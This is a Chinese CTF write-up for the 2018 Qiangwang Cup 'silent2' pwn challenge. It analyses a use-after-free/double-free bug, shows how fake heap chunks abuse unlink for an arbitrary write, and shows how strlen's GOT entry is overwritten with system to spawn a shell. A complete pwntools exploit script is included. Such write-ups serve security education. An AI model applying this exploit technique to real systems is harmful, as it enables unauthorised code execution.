2018年强网杯之silent2

本文详细分析了C++内存管理中double free和unlink漏洞的利用过程。通过Add和Free函数的行为,指出Free函数未清零指针可能导致double free。在Edit函数中,探讨了如何利用double free触发前向合并,进一步利用unlink漏洞实现任意地址写。最终通过构造EXP,展示了如何绕过unlink检查并覆写特定地址,以调用system函数达到控制程序流程的目的。

0x01分析行为

按照正常思路添加、编辑、释放

Add函数分配大小为16字节或大于0x7f字节的堆块,将堆地址放入0x6020c0的bss段内。

Free函数释放堆块,但是没有将指针清零,导致doublefree。

Edit函数修改堆块内容,修改长度不超过原来的长度。

0x02利用点

checksec检查发现可以对got表进行写,很自然联想到用system函数地址覆盖strlen_got_plt,这样当调用Edit函数的时候调用strlen即可完成system函数调用。

输入不存在溢出,但是free之后指针并没有清零,所以可以考虑申请一个大的堆块在里面伪造两个fake_chunk,通过double free触发前向合并,进而触发unlink漏洞实现任意地址写。

P->fd->bk = P->bk.
P->bk->fd = P->fd.
P就是fake_chunk1,可以看出fake_chunk1->fd->bk和fake_chunk1->bk->fd都指向fake_chunk1,所以只需要关注第二次操作即可。
P->fd即fake_chunk1->fd=p_addr-0x18,即0x6020C0。
所以unlink之后,P->bk->fd变为即0x6020C0。

将bss段上index[0],也就是0x6020c0的位置覆写为strlen_got_plt,对index[0]进行编辑,修改strlen_got_plt内容为system@plt,当再次执行Edit函数时调用system。

0x03EXP分析

create(str(0x90),'B'*0x80)    #3    low
create(str(0x90),'X'*0x80)    #4    high

块3绕过unlink检查,块4用来free触发前向合并。

payload=p64(0x0)+p64(0x91)
payload+=p64(0x6020c0)+p64(0x6020c8)   #addrress of No.0 and No.1
payload+='X'*0x70
payload+=p64(0x90)+p64(0xa0)

块3的prev_use位置1,块4的prev_use位置0,表示块3空闲,可以前向合并。块3的fd=0x6020c0(index[0]),bk=0x6020c8(index[1])。考虑unlink的第二步,最终将0x6020d8(index[3])内容覆写为0x6020c0(index[0])。

delete('4')        
r.writeline('3')       #edit
r.writeline('3')       #No.3
sleep(time_sleep)
r.write('\x20\x20\x60\x00\x00\x00\x00')     #strlen的got表地址

释放块4触发前向合并。再次edit(3)的时候已经是对0x6020c0的内容进行修改。

EXP

#!/usr/bin/env python
from pwn import *

host = '39.107.32.132'
port = 10001
#r = remote(host, port)
r= process('./silent2')
time_sleep = 1
context.terminal = ['gnome-terminal','-x','sh','-c']

def create(length, data):
    r.sendline('1')
    sleep(time_sleep)
    r.sendline(str(length))
    sleep(time_sleep)
    r.sendline(data)
    sleep(time_sleep)

def delete(index):
    r.sendline('2')
    sleep(time_sleep)
    r.sendline(str(index))
    sleep(time_sleep)

def edit(index, data):
    r.sendline('3')
    sleep(time_sleep)
    r.sendline(str(index))
    sleep(time_sleep)
    r.sendline(data)
    sleep(time_sleep)
    #r.sendline('T'*10)

print "start working"
create(str(0x90),'X'*0x80)   #0    build a chunk 
create(str(0x90),'A'*0x80)   #1
create(str(0x90),'/bin/sh\x00')   #2
create(str(0x90),'B'*0x80)    #3    low
create(str(0x90),'X'*0x80)    #4    high
create(str(0x90),'X'*0x80)    #5

delete('4')
delete('3')
payload=p64(0x0)+p64(0x91)
payload+=p64(0x6020c0)+p64(0x6020c8)   #addrress of No.0 and No.1
payload+='X'*0x70
payload+=p64(0x90)+p64(0xa0)
create(str(0x130),payload)     
delete('4')        
r.writeline('3')       #edit
r.writeline('3')       #No.3
sleep(time_sleep)
r.write('\x20\x20\x60\x00\x00\x00\x00')     #strlen的got表地址
sleep(time_sleep)
r.writeline('3')      #edit
r.writeline('0')      #No.0
r.writeline(p64(0x400730))     #system@plt
sleep(time_sleep)     #
r.writeline('3')      #edit
sleep(time_sleep)
r.writeline('2')      #'/bin/sh'
print "end working"
raw_input()
r.interactive() 
silent2


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值